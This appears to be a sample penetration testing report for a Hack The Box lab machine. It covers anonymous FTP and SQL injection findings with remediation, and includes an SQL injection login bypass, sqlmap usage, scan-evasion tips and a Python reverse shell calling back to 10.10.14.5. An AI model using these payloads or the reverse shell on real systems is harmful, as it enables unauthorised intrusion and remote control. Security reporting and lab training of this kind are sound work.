# Penetration Testing Report

Professional Security Assessment

## 1 Executive Summary

This security assessment was conducted on target system HTB-TARGET-01 located at 10.10.11.247. The evaluation identified 2 critical and 3 high-severity vulnerabilities requiring immediate attention.

## 2 Methodology

1. Information gathering and reconnaissance
2. Network scanning and service enumeration
3. Vulnerability identification and analysis
4. Exploitation and access verification
5. Post-exploitation activities
6. Documentation and reporting

## 3 Findings

### Anonymous FTP Access with Sensitive Data

HIGH

**TARGET:** 10.10.11.247
**PORT:** 21/tcp
**SERVICE:** vsftpd 3.0.3

**FINDING**

The FTP service permits anonymous authentication without credentials. Multiple sensitive files were discovered including database backups and configuration files containing plaintext credentials.

**EXPLOITATION**

```
ftp 10.10.11.247
Name: anonymous
Password: anonymous@example.com

ftp> ls -la
ftp> cd backups
ftp> get database_backup.sql
ftp> get config.php
ftp> exit
```

```
cat config.php | grep -i password
```

### REMEDIATION

Disable anonymous FTP access. Implement SSH key-based authentication. Migrate to SFTP for encrypted transfers. Remove sensitive files from accessible directories. Enable comprehensive access logging.

## SQL Injection in Authentication Form

CRITICAL

**TARGET:** 10.10.11.247
**PORT:** 80/tcp
**SERVICE:** Apache 2.4.52

### FINDING

The login form at /admin/login.php is vulnerable to SQL injection. Authentication can be bypassed using basic SQL injection payloads, granting administrative access without valid credentials.

### EXPLOITATION

```
sqlmap -u "http://10.10.11.247/admin/login.php" \
  --data="username=admin&password=test" \
  --level=3 --risk=2 --batch

Username: admin' OR '1'='1'-- -
Password: anything

mysql -h 10.10.11.247 -u webapp -p'discovered_password'
```

### REMEDIATION

Implement parameterized queries with prepared statements. Use ORM framework for database interactions. Apply input validation and sanitization. Deploy Web Application Firewall. Conduct regular code security audits.

# 4 Tools Reference

## Nmap

Network exploration and security scanning tool for port discovery, service detection, and vulnerability assessment.

### Common Flags & Options

| Flag | Name | Description |
|---|---|---|
| -sS | TCP SYN Scan | Stealth scan that does not complete TCP handshake. Requires root privileges. Most popular scan type. |
| -sV | Version Detection | Probes open ports to determine service and version information. Essential for vulnerability assessment. |
| -sC | Default Scripts | Runs default NSE scripts for common enumeration tasks. Equivalent to --script=default. |
| -p- | All Ports | Scans all 65535 TCP ports instead of top 1000. Comprehensive but time-consuming. |
| -T4 | Aggressive Timing | Faster scan timing template on 0-5 scale. Reliable for most networks. |
| --min-rate | Minimum Rate | Send packets no slower than specified rate per second. Example: --min-rate=1000. |
| -oA | Output All | Saves results in normal, XML, and grepable formats to specified basename. |
| -Pn | Skip Ping | Treats all hosts as online, skipping host discovery. Useful when ICMP is blocked. |

### Common Vulnerabilities

**1. Port Scanning Detection**

IDS/IPS systems detect aggressive scanning patterns. Use slower timing (-T2) and randomize scan order (--randomize-hosts) to evade detection.

CVE: N/A | CVSS: N/A

**2. NSE Script Vulnerabilities**

Some NSE scripts may crash vulnerable services or trigger alerts. Test scripts in isolated environments before production use.

CVE: Various | CVSS: Variable

### Common Misconfigurations

- Missing Firewall Rules: Firewall not configured to block or rate-limit port scanning from external sources.
- Default Service Banners: Services expose detailed version information aiding vulnerability identification.
- Unnecessary Open Ports: Services running on non-essential ports increase attack surface.
- No IDS/IPS Monitoring: Absence of intrusion detection to alert on reconnaissance activities.

# 5 Code Block Examples

Port Scanning - Full TCP Range

```
nmap -sS -sV -sC -p- -T4 --min-rate=1000 -oA full_scan 10.10.11.247
```

Directory Enumeration

```
gobuster dir -u http://10.10.11.247 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 50
```

Python Reverse Shell

```
import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.14.5", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
```

# 6 Highlight Examples

The default credentials were admin:admin which provided immediate access.

Critical finding: Root SSH access enabled with weak password.

Successfully exploited: LFI vulnerability in file parameter.

Database contains 127 user records with plaintext passwords.

# 7 Recommendations

## 7.1 Immediate Actions Required

1. Disable anonymous FTP access
2. Patch SQL injection vulnerabilities
3. Implement strong password policies
4. Enable comprehensive logging
5. Deploy intrusion detection systems

## 7.2 Long-term Improvements

1. Conduct regular security assessments
2. Implement defense-in-depth strategy
3. Establish incident response procedures
4. Provide security awareness training
5. Maintain security patch management

# 8 Conclusion

This assessment identified critical vulnerabilities requiring immediate remediation. Priority should be given to the SQL injection and weak authentication issues. Implementation of recommended controls will significantly improve the security posture of the target environment.